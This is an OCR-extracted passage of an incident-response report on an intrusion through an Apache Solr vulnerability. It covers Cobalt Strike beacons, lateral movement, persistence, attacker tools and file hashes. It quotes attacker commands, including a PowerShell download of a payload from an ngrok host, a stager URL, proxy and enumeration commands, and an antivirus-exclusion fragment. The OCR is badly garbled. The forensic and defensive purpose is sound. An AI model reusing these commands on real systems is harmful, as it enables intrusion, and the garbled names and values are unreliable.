o nt authority system ProcessCreated Issasc.exe C:\ProgramData\Oracle\Java\lssasc. exe "lssasc.exe”

Later on the 10X tool was downloaded to the server.

Imageloaded Issascexe C:\ProgramData\Oracle\Java\lssasc.exe

HOSTA ValueDeleted
Issasc.exe C:\ProgramData\Oracie\Java “Issasc.exe”
HOST1
HOSTS
Issasc.exe “Issasc.exe”
“Issasc.exe”
Issascexe “Issasc.exe”
HOSTY ProcessCreated rundii32.exe rundil32.exe
426380114 Issascexe ProgramData)
da6380114 Issasc.exe C:\Programd
HOSTS ProcessCreated emd.exe C:\Windows\system3: “cmd.exe” /c whoami /priv
HOSTI|  ntauthority system ProcessCreated Issasc.exe C:\ProgramData\Oracle\Java\Issasc.exe “Issasc.exe
HOSTS
HOSTA
oSy RegistryValueDeleted
HOSTS RegistryValueDeleted
HOSTS Connectionsuccess
4a638010¢
HOSTH ConnectionSuccess
HOST1 ConnectionSuccess
HOSTY) s nt authority system ProcessCreated rundiz2. exe C:\Windows\System3Z\rundii32.exe rundil32.exe
HOST1 ProcessCreated cmd.exe A System3z\cmd.exe cmd.exe /C taskdkill /F /P10 3312
HOSTS ProcessCrested cmd.exe cmd.exe /C dir \! nes
emd.exe cmd.exe /C dir \ \c$
Issascexe “Issasc.exe”
HOST) FileCreated toxexe
HOST4) W nt authority system ProcessCreated cmd.exe
da638011 C:\Windows\System32
HOSTA ProcessCreated gramData\Oracle\Java\iox.exe
HOST) Imageioaded C:\ProgramData\Oracte\Java\iox.exe
da3s011¢ indows\System32 60350
HOSTA) 1 nt authority system pr ated C:\Windows\System32\cmd.exe g ta\Oracle\java\iox.exe proxy -r 60350
HOSTA) s Nt authority system ProcessCreated C:\ProgramData\Oracie\Java\jox.exe lox.exe proxy-r 60350

Cobalt Strike was used to download PVEFindADUser and save as C:
\Windows\System32\PVEFindADUser.exe at 2022-XX-XX XX:XX:XX and IOX and save
as C:\ProgrambData\0Oracle\Java\iox.exe at 2022-XX-XX XX:XX:XX.

The perpetrator copied the file 34b6b2b.exe to HOST1 using network shares. It appears that
the file was detected by antivirus.

ou [ ernd [l A«
5 ProcessCreated rundii32.exe ¢ ystem32\rundii32.exe rundii32.exe

HOST FileCroated 34b602b.ex0 C:\Windows\34b6b2b.e

HOST3 FileCreated 34b6b2b.exe \\ VADMINS\34b6b2b. exe

HOST3 ConnectionSuccess 135

HOST) Regrstryvalueset

HOST) AntivirusDetection 406020, exe C\Windows

The services.exe process registered a new service (persistence) on the server by making the
following changes in the Registry:

Registry key: HKEY LOCAL MACHINE\SYSTEM\ControlSet001\Services\34b6b2b
ImagePath: \\127.0.0.1\ADMIN$\34b6b2b.exe

Later on, the files were detected by antivirus:




Timestamp (UTC) DeviceName Bd AccountDomain Bl AccountName BB A . A )| ‘ M FileName B FolderPath
HosTy AntivirusDetection Issasc.exe C:\ProgramData\Oracle\Java

HOST) AntivirusDetection Issasc.exe C:\ProgramData\Oracle\Java
HOST)) AntivirusDetection Issasc.exe C:\ProgramData\Oracle\Java
HOSTY) AntivirusDetection Issasc.exe C:\ProgramData\Oracle\Java
HOST1) AntivirusReport iox.exe C:\ProgramData\Oracle\Java
HosTY) AntivirusReport iox.exe C:\ProgramData\Oracle\Java
HOST) AntivirusReport iox.exe C:\ProgramData\Oracle\Java
rHOSTi AntivirusReport iox.exe C:\ProgramData\Oracle\Java
HOST1 AntivirusReport iox.exe C:\ProgramData\Oracle\Java
HOSTA) AntivirusReport iox.exe C:\ProgramData\Oracle\Java
HOST1) AntivirusReport iox.exe C:\ProgramData\Oracle\Java
et FileCreated 34b6b2b.exe [c:\Windows\3ab6b2b.exe |
HOST) RegistryValueSet

HOST1) AntivirusDetection 34b6b2b.exe C:\Windows

HOSTY AntivirusReport iox.exe C:\ProgramData\Oracle\Java
HOST1) AntivirusReport iox.exe C:\ProgramData\Oracle\Java

Lateral movement and activities on server “HOST2"

Initially the server was compromised at 2022 -XX-XX XX:XX:XX by exploitation of the Solr
vulnerability CVE-2019-17558.

At 2022 -XX-XX XX:XX:XX the perpetrator(s) downloaded Cobalt Strike beacon and saved it
as G:\solr-6.6.3\server\update.exe using the following command:

powershell -c http://0.tcp.ap.ngrok.10:18418/wininit.exe -OutFile

update.exe

conhost.exe

powershell.exe C\Windows\System32\WindowsPow powaershell -¢ lwr hitp://C 18418/ wininit exe -OutFile update.exe

update exe

upd:

16 HOST2 ed G .
16 M HOST2, imageLoaded update.exe G\solr-6.6.3\server\update exe
HOST2 55

I\ser ate.exe

45 HOST2 update.exe G:\solr-6.6.3\server

A7. HOST2. 20%
47,1 nosT2 0%
47. 1 HOST2) %096
. HosT2

% HosT2

0. HOST2

0. . HOST2

. HosT2

01 nosT2

43 HOST2) update.exe

3L MOST2|  inboundConnectionAccepted ne

Analysis of the binary showed that it contains a Cobalt Strike beacon which is slightly different
than the other samples.



Hex View-1 x n Structures
) ; void __cdecl main_main()
main_main [ ne ; COL runtime_main+1FCtp

cmp
jbe
sub
mov
lea
lea
mov
call
mov
call t I Query
call net_url Values_Encode

mov , | + +
mov [ + 1]
cmp :dword_8C2580,
jnz hort loc_623630
mov [ + |-
jmp hort loc_623642

8 Hiew: binary_decoded
binary decoded

Analysis of the file shows that it connects to “example.com” and uses “www.services-support.tk”
as a Command-and-Control server, which explains the network events seen in the timeline.

Lateral movement and activities on server “HOST4”

Using SMB shares perpetrator managed to copy files “lssasc.exe” and “servicehoster.exe”

taskill /¥ /P10 3312

6231
sy

/2d [domain B net group "Domain Admins

seate Updateserviceoster binpathe C\inetpubl\temp\servic

binpath= C:\inet oster.ex

According Microsoft Defenderlogs, both files were detected lately.



WdatpTenantid

9bf8c7a8-e008-49a7-9e43-ab76976c4bf8

—
Machine Name Action

quarantine

File Name Machine Domain Detected by

servicehoster.exe BE Microsoft

File Path Threat Information

C\inetpub\temp Backdoor:Win64/CobaltStrike.NP!dha

Later files su.exe and autorun.bat were copied to HOST4 using the same technique.
-File autorun.bat was not recovered during the investigation.
‘File su.exe is the compiled SuperUser tool (see Malware and Tools)

Timestamp (UTC) Bl DeviceName Rl AccountDomain Bl AccountName i ActionType B FileName B] FolderPath Bl ProcessCommandLine
1:13. HOSTS) ProcessCreated su.exe C:\inetpub\temp\su.exe "su.exe"
1:13. HOSTS Imageloaded su.exe C:\inetpub\temp\su.exe
2:16. HOST3) FileCreated su.exe \ \CS\inetpub\temp\su.exe
:32. HOST3 FileCreated autorun.bat \ \CS\inetpub\temp\autorun.bat

Using the SharpWmi tool (see Malware and Tools), theperpetrator(s) were able to execute
arbitrary commands on HOST4.

The perpetrator(s) were able to add the folder C:\inetpub\temp to the AV exclusions.
The perpetrator(s) were able to execute autorun.bat using the SuperUser tool

\temp" /d 0 /t REG_DWORD /f

The result of execution is unknown, because file was not recovered.

Lateral movement and activities on server “HOSTS”

Using the access to the Windows Admin Shares (SMB shares) perpetrator managed to copy the
Cobalt Strike beacon to HOSTS5.



Timestamp (UTC eviceName [ ActionType ‘ FileName Bl FolderPath 0 ne B RemotelP Bl RemotePort
cmd.exe C:\Windows\System32\cmd.exe cmd.exe /C dir\\
ProcessCreated conhost.exe C:\Windows\System32\conhost.exe conhost.exe Oxffffffff -Forcevi

HOSTY ProcessCreated
HOST3
WosT).

HOST4 FileCreated Issasc.exe \) \C$\Packages\Plugins\Issasc.exe

HOST4) FileCreated Issasc.exe C:\Packages\Plugins\Issasc.exe

HOSTY) AntivirusReport Issasc.exe C:\Packages\Plugins

HOSTY FileModified Issasc.exe C:\Packages\Plugins\lssasc.exe

HOST4) OtherAlertRelatedActivity Issasc.exe C:\Packages\Plugins\Issasc.exe

HosT3, ConnectionSuccess "asa6s
= HOST4) AntivirusDetection Issasc.exe C:\Packages\Plugins

HosTy FileDeleted Issasc.exe C:\Packages\Plugins
m—0S14) FileDeleted Issasc.exe C:\Packages\Plugins

HOST4) AntivirusDetection Issasc.exe C:\Packages\Plugins

HosTY OtherAlertRelatedActivity Issasc.exe C:\Packages\Plugins\Issasc.exe

HOSTS; FileCreated Issasc.exe \\ \CS$\Packages\Plugins\Issasc.exe

HOSTY) FileCreated Issasc.exe C:\Packages\Plugins\Issasc.exe

FileModified Issasc.exe C:\Packages\Plugins\Issasc.exe

HOSTY AntivirusDetection Issasc.exe C:\Packages\Plugins

HOST4 FlleModified Issasc.exe C:\Packages\Plugins\Issasc.exe

HOST4) FileDeleted Issasc.exe C:\Packages\Plugins

MOST4; FileDeleted Issasc.exe C:\Packages\Plugins

HOST4) AntivirusDetection Issasc.exe C:\Packages\Plugins

HOSTS, OtherAlertRelatedActivity Issasc.exe C:\Packages\Plugins\Issasc.exe

It appears that Microsoft Defender detected the malicious file after it was copied.



Privilege Escalation

This chapter contains the description of the tools and malware used by the perpetrator(s)
during the attack.

The main toolkit used by attacker is Cobalt Strike. Definition and the description by Mandiant:
https://www.mandiant.com/resources/blog/defining-cobalt-strike-components

BEACON is the name for Cobalt Strike's default malware payload used to create a connection to
the team server. Active callback sessions from a target are also called “beacons”. (This is where
the malware family got its name.) There are two types of BEACON:

The Stager is an optional BEACON payload. Operators can “stage” their malware by sending an
initial small BEACON shellcode payload that does some basic checks only and then queries the
configured C2 for the full-featured backdoor.

The Full backdoor can either be executed through a BEACON stager, by a “loader” malware
family, or by directly executing the default DLL export “ReflectiveLoader”. This backdoor runs in
the memory and can establish a connection to the team server through several methods.
Loaders are not BEACON. BEACON s the backdoor itself and is typically executed with some
other loader, whether it is the staged or full backdoor. Cobalt Strike does come with default
loaders, but operators can also create their own using PowerShell, .NET, C++, GolLang, or
anything else capable of running shellcode.

Cobal Strike (stager)

Hostname IiOJSJ'ﬂJ
Path C:\ProgramData\Oracle\Java\lssasc.exe
SHA-256 2dcfb7cdde17d512ade36f9d7c¢68f8b327e499cf266ac6c062c520b597felacs
checksums | bf7a46067031c64b7ee1d808b4dcc347ac03aabbc05b6257631240a9a347d100
Hostname HOST1)
Path G:\solr-6.6.3\server\lib\lapx.exe
SHA-256 bf7a46067031c64b7ee1d808b4dcc347ac03aabbc05b6257631240a%9a347d100
checksums
Hostname HOST2]
Path G:\solr-6.6.3\server\update.exe
SHA-256 5¢2¢88bd25b02cbd77cdccc89631e86fec0994fc4b3eabb72elcfada29f8ea73
checksums




Hostname HOST2|
Path C:\ProgramData\Microsoft\Windows
Defender\Quarantine\ResourceData\47\47CA556DC5D48D88BCC6D2BCFBOA492ED3AS7A84
SHA-256 6c44c7f31948a4ce7ad4f848093f449bf0111ee117674dedd666139e1b477847
checksums
Hostname HOST3)
Path C:\ProgramData\Oracle\Java\lssasc.exe
SHA-256 2dcfb7cdde17d512ade36f9d7c68f8b327e499cf266ac6c062c¢520b597felacd
checksums | bf7a46067031c64b7ee1d808b4dcc347ac03aabbc05b6257631240a9a347d100
Hostname HOST3)
Path G:\solr-6.6.3\server\lib\lapx.exe
SHA-256 bf7a46067031c64b7ee1d808b4dcc347ac03aabbc05b6257631240a9a347d100
checksums
Hostname HOST3)
Path G:\solr-6.6.3\server\lib\Issasc.exe
SHA-256 7ae4a36d045fcb144302bd2dc34f5c0a70e80e564fef865842f6eb0ac5f0b081
checksums
Hostname EQ%T})
Path C:\inetpub\temp\lIssasc.exe
SHA-256 bf7a46067031c64b7ee1d808b4dcc347ac03aabbc05b6257631240a9a347d100
checksums
Hostname HOST4)
Path C:\ProgramData\Microsoft\Windows
Defender\Quarantine\ResourceData\38\38E4F6CD9D08262846961980C5E255002249404E
SHA-256 01d5dc12de03b288f0984edf6b5709e0cdba7edb072bf3e4317321cd16951afe
checksums
Hostname HOST4)
Path C:\ProgramData\Microsoft\Windows
Defender\Quarantine\ResourceData\FE\FE797FCA4D321F3EDDF3C151627789C0A1FFB413
SHA-256 705b5876e363610f20cf15bcb911e7e4d1e5¢714bc595dee6e4548125b4684af
checksums
Hostname HOSTS5)
Path C:\Packages\Plugins\Issasc.exe
SHA-256 2dcfb7cdde17d512ade36f9d7c68f8b327e499¢f266ac6c062c520b597felacd
checksums | 33caa3d210b7f7f50ac49da289fb0a8203293ddfd16a008f43916f1ae8c29bff

bf7a46067031c64b7ee1d808b4dcc347ac03aabbc05b6257631240a9a347d100
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Analysis of the binary lssasc.exe found on HOST3 showed that the binary downloads the
payload from the URL http://X.X.X.X:56231/QLlYG and executes it.




W Hiew: Issasc.exe_bin - O X

1ssasc bin {FRO 00000000 |Hiew 8.75 (c)SEN

Cobal Strike (backdoor)

Malicious memory artifacts found

a HOST3) Risk leve’ mmm High i 2 NT AUTHORITY\SYSTEM

WindowsServer2016  Sitecore

v @ [9112) rundli32.exe

rundli32.exe was scanned and found to have malicious memory artifacts with none confidence.

| £ Malicious memory artifacts found

rundll32.exe was scanned and found to have malicious memory artifacts with medium confidence.

| £ Malicious memory artifacts found



v [4] System

[8660] winlogon.exe

v [6960] userinit.exe

v [964] explorer.exe

v [6444) ProcessHacker.exe

ASR (Attack surface Reduction) audited ProcessHacker.exe triggering the rule ‘Block credential stealing from the Windows loca

<

File create rundli32.exe.bin

| £ Possible ongoing hands-on-keyboard activity (Cobalt Strike)

File create rundli32.exe_0x1d5236d0000-0x40000.bin
| { Possible ongoing hands-on-keyboard activity (Cobalt Strike)

Binary analysis confirmed that dumped memory section contains the Cobalt Strike beacon
(backdoor).
Cobalt Strike’s configuration was extracted with Cobalt Strike Parser .

v tool altstrikePar aster> & d:/tools/CobaltStrikeParser-master/csp_env/Scripts/python.exe d:/tox altStrikeParser-master/parse_be




SharpHound

Hostname

HOST3)

Path

C:\Windows\System32\SharpHound.exe

SHA-256
checksums

bece2d53c40b33afc196879a2fc1173499774e0fdfobfoc764773c17f7e84b6e
1f74ed6e61880d19e53cde5b0d67a0507bfdaObe661860300dch0f20ea%a45f4

C @ bloodhound.readthedocs.io

0 BloodHoun

ates

d
» SharpHound Edit on GitHub

Windows
macOS

Linux

SharpHound

SharpHound is the official data collector for BloodHound. It is written in C# and uses native
Windows API functions and LDAP namespace functions to collect data from domain controllers
and domain-joined Windows systems

Download the pre-compiled SharpHound binary and PS1 version at
tps://github.com/BloodHoundAD/BloodHound/tree/master/(

SharpHound
Basic Usage You can view the source code for SharpHound and build it from source by visiting the SharpHound
The Session Loop Collection repo at https://github.com/BloodHoundAD/SharpHound3
Method
Running SharpHound from a Non Basic Usage

Domain-Joined System

Building SharpHound from Source

SharpHound vs. Antivirus

You can collect plenty of data with SharpHound by simply running the binary itself with no flags
set:

All SharpHound Flags, Explained
C SharpHound . exe
AzureHound

PVEFindADUser

Hostname
Path

HOST]

C:\Windows\System32\PVEFindADUser.exe

SHA-256
checksum

7dc0e13a5f1a70c4e41f4b92372259b050a395104650d57385ecaal48481ae5¢

Readme.txt

I decided to rel
where Active Dir
should include 1
scheduled ta

first results lo

You can download
.Net fra p

computers you ar

The tool is comp

ease another free utility I wrote a while ago. This small command-line utility can be used to find out
ectory users are logged on into, and/or to find out who is logged on on specific machines. This

ocal use users that are logged in via RDP, user accounts that are used to run se ces and

(only the task is running at that time). I have not fully tested all scenario t, but the

ok quite ok.
the utility from . You need
.0 on the machine that you are running the tool off, and you also need to have admin access on the

e running the utility against.

iled on a 32bit system, but it should run fine on 64bit systems




SharpWmi

Hostname HOST3)
Path C:\Windows\Temp\sharpwmi.exe

SHA-256 bc4f3586113942b58ad4e45235f2b0bd8b1832241d2c67246c22923914c09ab0
checksums | 1de72bb4f116e969faffo0c1e915e70620b900e3117788119cffc644956a9183

README.md

SharpWmi

introduce:

This is a tool for lateral movement based on port 135, with functions of executing commands and uploading files,

executing commands through wmi, and data transmission through the registry.

principle:

Excuting an order:

Execute the command through wmi, the server stores the command result in the local registry, and then the
client connects to the registry to read the command result
upload files:

The client puts the file to be uploaded into the server's registry, and then the server operates the registry

through powershell to fetch the file and release it locally

Fscan
Hostname HOST3)
Path C:\Windows\Temp\fscan.exe

SHA-256 591c¢23bad87621b0cf6f2e5f27f038205e11a9241f83ab28bbafed575d8fd6b6
checksums | bf32eb9482fbclae718c2d3563d75f66fe74b593787f123bd49f48f488ee7a53




ork\_current) tools\591c23bad8762 1b0cf62e56271038205¢112924183ab28bbafed57... Afscanbd_v1.7.1.exe

v Al W ™ e " windows debugger v i [EJ: 1 ** B¢
Il (D I

B B stuawes B B Enums view-1 B stuctures @ B

X R REER

(¢ @& github.com

README.md

fscan

1 Introduction

A comprehensive intranet scanning tool, which is convenient for one-click automation and all-round
missed scanning.

Support host survival detection, port scanning, blasting of common services, ms17010, redis batch write
public key, scheduled task rebound shell, read win network card information, web fingerprint
identification, web vulnerability scanning, netbios detection, domain control identification and other

functions.
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Hostname HOST3)

Path C:\ProgramData\Oracle\Java\installcache_x64\iox.exe

SHA-256 1f83333f89d6fcf034522b3c5caab822ce5c7f294f7bd8f5a64ef8al13e5b3dbe

checksums | dabac1fe57c¢2338d9eb6360fbb4627cdfbec3edd37bab8926333c0610b2499b7
ead05ef9ece0d3f504a3a702ad712286177315d1c577626978553a02d2604bf8
c6cf82919b809967d9d90ea73772a8aalcleb3bc59252d977500f64f1a0d6731

Hostname HOST1|

Path G:\solr-6.6.3\server\lib\ncx.exe

SHA-256 ce80b839411b1541d09b0ede82f1477b516da0c60760079f46bad443e1a6f419
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&« C @& github.com

main.go

README.md

10X

English | #

Tool for port forward & intranet proxy, just like lcx / ew, but better

Netcat

(& # github.com

README.md

CVE-2019-0803

Win32k Elevation of Privilege Poc

Screenshot

»  EPEA: C:\Users\Administrator\Desktop\poc_test.exe

ptiaddress FEEFE99Oc2h51580

tagTHREAD fFffffasviblas489

kapc_statefddr fffffaBdihblaB4adn

Original security token pointer: OxFFFff8aBB16h5062
hing for SYSTEM security token addres:

Next eprocess address: Oxfffffa8018Ff54060

Found pid: @xA59

Next eprocess address: Oxfffffa8018f41060

Found pid: @AxA44

Next eprocess address: OxfffffaB8018f636cH




Chronos

CSIS uses a platform called Chronos to triage computers in an incident response. It supports
more than 300 artifacts and is built to extract information in a raw format to preserve the
forensics integrity of evidence, while still providing top of the line performance.

Every company is different, so during the start of the incident, we gather information about the
size and scope of the incident, as well as network speeds, computer configurations, etc. to get a
good idea of how much evidence we can collect without massive disruptions to the company.

Triage Data Statistics from Chronos

- 93 triage IR collections

- 69 unique computers

- ~103 billion artifacts

- ~911 GB data transferred

- Collection started 2022 -XX-XX XX: XX: XX
- Collection ended 2022 -XX-XX XX:XX:XX



	e9c63ce4-dd38-4b7e-9a51-e46d34841ac7.pdf
	Table of contents
	Management

	Executive Summary
	Introduction
	Executive Summary
	Attack start
	First unauthorized logins
	Initial access vector
	Data exfiltrated
	Attack type

	Overview
	ATT&CK Matrix
	Indicators of Compromise (IOCs)
	Incident Analysis
	EDR Bypass
	Microsoft Defender for Endpoints Behavior in Apache Solr Exploit
	Setup
	The Exploit
	Microsoft Defender Behavior

	Second Test just to be sure
	Proccess

	Example in our framework DTMG
	Initial Access (patient-0)
	Persistence
	Privilege Escalation
	Lateral Movement
	Lateral movement and activities on server HOST3
	Lateral movement and activities on server “HOST1"
	Lateral movement and activities on server “HOST2”
	Lateral movement and activities on server “HOST4”
	Lateral movement and activities on server “HOST5”

	Privilege Escalation
	Cobal Strike (stager)
	Cobal Strike (backdoor)
	SharpHound
	PVEFindADUser
	SharpWmi
	Fscan
	IOX
	Netcat

	Chronos


